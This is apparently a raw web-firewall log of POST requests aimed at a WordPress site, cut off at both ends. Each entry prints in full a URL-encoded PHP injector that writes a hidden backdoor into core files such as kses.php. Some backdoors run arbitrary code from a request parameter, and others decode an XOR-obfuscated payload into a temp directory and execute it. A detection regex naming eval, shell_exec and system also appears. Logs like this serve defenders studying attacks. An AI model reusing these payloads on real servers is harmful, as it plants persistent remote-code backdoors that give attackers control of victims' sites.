24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nsec-fetch-user:?1\nupgrade-insecure-requests:1\nsec-fetch-dest:document\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua:\"Chromium\";v=\"110\", \"Not A(Brand\";v=\"24\", \"Google Chrome\";v=\"110\"\nsec-fetch-site:none\nsec-ch-ua-mobile:?0\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua-platform:\"Windows\"\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept-encoding:gzip,deflate\ncontent-length:2046\nhost:dewenlabels.com\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\nsec-fetch-mode:navigate\naccept:*\/*\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/kses.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527nMxhiX%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 09:38:14","212.87.197.20","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> JN:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/kses.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527nMxhiX%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\"Chromium\";v=\"110\", \"Not A(Brand\";v=\"24\", \"Google Chrome\";v=\"110\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\ncontent-length:2023\nsec-fetch-site:none\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\nsec-fetch-mode:navigate\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvFx4vKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaA5p3EyoFV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\n\nJN=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/kses.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527nMxhiX%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:38:17","103.143.207.18","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> xy:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/block-supports\/custom-classname.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528count%2528%2524_POST%2529%2520%253E%25200%2520%2526%2526%2520isset%2528%2524_POST%255B%2522res%2522%255D%2529%2529%257B%2520%2524pgrp%2520%253D%2520array_filter%2528%255Bini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520%2522\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520session_save_path%2528%2529%255D%2529%253B%2520%2524pointer%2520%253D%2520hex2bin%2528%2524_POST%255B%2522res%2522%255D%2529%253B%2520%2524bind%253D%2527%2527%2520%253Bfor%2528%2524l%253D0%253B%2520%2524l%253Cstrlen%2528%2524pointer%2529%253B%2520%2524l%252B%252B%2529%257B%2524bind%2520.%253D%2520chr%2528ord%2528%2524pointer%255B%2524l%255D%2529%2520%255E%252027%2529%253B%257D%2520%2524fac%2520%253D%25200%253B%2520do%2520%257B%2520%2524flg%2520%253D%2520%2524pgrp%255B%2524fac%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524fac%2520%253E%253D%2520count%2528%2524pgrp%2529%2529%2520break%253B%2520if%2520%2528%2521%2521is_dir%2528%2524flg%2529%2520%2526%2526%2520%2521%2521is_writable%2528%2524flg%2529%2529%2520%257B%2520%2524mrk%2520%253D%2520implode%2528%2522\/%2522%252C%2520%255B%2524flg%252C%2520%2522.data%2522%255D%2529%253B%2520if%2520%2528file_put_contents%2528%2524mrk%252C%2520%2524bind%2529%2529%2520%257B%2520include%2520%2524mrk%253B%2520%2540unlink%2528%2524mrk%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%2524fac%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\"Chromium\";v=\"116\", \"Not)A;Brand\";v=\"24\", \"Google Chrome\";v=\"116\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\ncontent-length:4036\nsec-fetch-site:none\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36\nsec-fetch-mode:navigate\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvrUxvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAuL2uyVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\n\nxy=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/block-supports\/custom-classname.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528count%2528%2524_POST%2529%2520%253E%25200%2520%2526%2526%2520isset%2528%2524_POST%255B%2522res%2522%255D%2529%2529%257B%2520%2524pgrp%2520%253D%2520array_filter%2528%255Bini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520%2522\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520session_save_path%2528%2529%255D%2529%253B%2520%2524pointer%2520%253D%2520hex2bin%2528%2524_POST%255B%2522res%2522%255D%2529%253B%2520%2524bind%253D%2527%2527%2520%253Bfor%2528%2524l%253D0%253B%2520%2524l%253Cstrlen%2528%2524pointer%2529%253B%2520%2524l%252B%252B%2529%257B%2524bind%2520.%253D%2520chr%2528ord%2528%2524pointer%255B%2524l%255D%2529%2520%255E%252027%2529%253B%257D%2520%2524fac%2520%253D%25200%253B%2520do%2520%257B%2520%2524flg%2520%253D%2520%2524pgrp%255B%2524fac%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524fac%2520%253E%253D%2520count%2528%2524pgrp%2529%2529%2520break%253B%2520if%2520%2528%2521%2521is_dir%2528%2524flg%2529%2520%2526%2526%2520%2521%2521is_writable%2528%2524flg%2529%2529%2520%257B%2520%2524mrk%2520%253D%2520implode%2528%2522\/%2522%252C%2520%255B%2524flg%252C%2520%2522.data%2522%255D%2529%253B%2520if%2520%2528file_put_contents%2528%2524mrk%252C%2520%2524bind%2529%2529%2520%257B%2520include%2520%2524mrk%253B%2520%2540unlink%2528%2524mrk%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%2524fac%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:38:19","77.65.47.245","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> RA:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/block-supports\/custom-classname.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528count%2528%2524_POST%2529%2520%253E%25200%2520%2526%2526%2520isset%2528%2524_POST%255B%2522res%2522%255D%2529%2529%257B%2520%2524pgrp%2520%253D%2520array_filter%2528%255Bini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520%2522\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520session_save_path%2528%2529%255D%2529%253B%2520%2524pointer%2520%253D%2520hex2bin%2528%2524_POST%255B%2522res%2522%255D%2529%253B%2520%2524bind%253D%2527%2527%2520%253Bfor%2528%2524l%253D0%253B%2520%2524l%253Cstrlen%2528%2524pointer%2529%253B%2520%2524l%252B%252B%2529%257B%2524bind%2520.%253D%2520chr%2528ord%2528%2524pointer%255B%2524l%255D%2529%2520%255E%252027%2529%253B%257D%2520%2524fac%2520%253D%25200%253B%2520do%2520%257B%2520%2524flg%2520%253D%2520%2524pgrp%255B%2524fac%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524fac%2520%253E%253D%2520count%2528%2524pgrp%2529%2529%2520break%253B%2520if%2520%2528%2521%2521is_dir%2528%2524flg%2529%2520%2526%2526%2520%2521%2521is_writable%2528%2524flg%2529%2529%2520%257B%2520%2524mrk%2520%253D%2520implode%2528%2522\/%2522%252C%2520%255B%2524flg%252C%2520%2522.data%2522%255D%2529%253B%2520if%2520%2528file_put_contents%2528%2524mrk%252C%2520%2524bind%2529%2529%2520%257B%2520include%2520%2524mrk%253B%2520%2540unlink%2528%2524mrk%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%2524fac%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\ncontent-length:4036\nsec-fetch-site:none\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36\nsec-fetch-mode:navigate\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvHxRvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAfLKAmMKZvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\n\nRA=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/block-supports\/custom-classname.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528count%2528%2524_POST%2529%2520%253E%25200%2520%2526%2526%2520isset%2528%2524_POST%255B%2522res%2522%255D%2529%2529%257B%2520%2524pgrp%2520%253D%2520array_filter%2528%255Bini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520%2522\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520session_save_path%2528%2529%255D%2529%253B%2520%2524pointer%2520%253D%2520hex2bin%2528%2524_POST%255B%2522res%2522%255D%2529%253B%2520%2524bind%253D%2527%2527%2520%253Bfor%2528%2524l%253D0%253B%2520%2524l%253Cstrlen%2528%2524pointer%2529%253B%2520%2524l%252B%252B%2529%257B%2524bind%2520.%253D%2520chr%2528ord%2528%2524pointer%255B%2524l%255D%2529%2520%255E%252027%2529%253B%257D%2520%2524fac%2520%253D%25200%253B%2520do%2520%257B%2520%2524flg%2520%253D%2520%2524pgrp%255B%2524fac%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524fac%2520%253E%253D%2520count%2528%2524pgrp%2529%2529%2520break%253B%2520if%2520%2528%2521%2521is_dir%2528%2524flg%2529%2520%2526%2526%2520%2521%2521is_writable%2528%2524flg%2529%2529%2520%257B%2520%2524mrk%2520%253D%2520implode%2528%2522\/%2522%252C%2520%255B%2524flg%252C%2520%2522.data%2522%255D%2529%253B%2520if%2520%2528file_put_contents%2528%2524mrk%252C%2520%2524bind%2529%2529%2520%257B%2520include%2520%2524mrk%253B%2520%2540unlink%2528%2524mrk%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%2524fac%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:38:23","192.3.12.164","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> VY:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/block-supports\/custom-classname.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528count%2528%2524_POST%2529%2520%253E%25200%2520%2526%2526%2520isset%2528%2524_POST%255B%2522res%2522%255D%2529%2529%257B%2520%2524pgrp%2520%253D%2520array_filter%2528%255Bini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520%2522\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520session_save_path%2528%2529%255D%2529%253B%2520%2524pointer%2520%253D%2520hex2bin%2528%2524_POST%255B%2522res%2522%255D%2529%253B%2520%2524bind%253D%2527%2527%2520%253Bfor%2528%2524l%253D0%253B%2520%2524l%253Cstrlen%2528%2524pointer%2529%253B%2520%2524l%252B%252B%2529%257B%2524bind%2520.%253D%2520chr%2528ord%2528%2524pointer%255B%2524l%255D%2529%2520%255E%252027%2529%253B%257D%2520%2524fac%2520%253D%25200%253B%2520do%2520%257B%2520%2524flg%2520%253D%2520%2524pgrp%255B%2524fac%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524fac%2520%253E%253D%2520count%2528%2524pgrp%2529%2529%2520break%253B%2520if%2520%2528%2521%2521is_dir%2528%2524flg%2529%2520%2526%2526%2520%2521%2521is_writable%2528%2524flg%2529%2529%2520%257B%2520%2524mrk%2520%253D%2520implode%2528%2522\/%2522%252C%2520%255B%2524flg%252C%2520%2522.data%2522%255D%2529%253B%2520if%2520%2528file_put_contents%2528%2524mrk%252C%2520%2524bind%2529%2529%2520%257B%2520include%2520%2524mrk%253B%2520%2540unlink%2528%2524mrk%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%2524fac%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%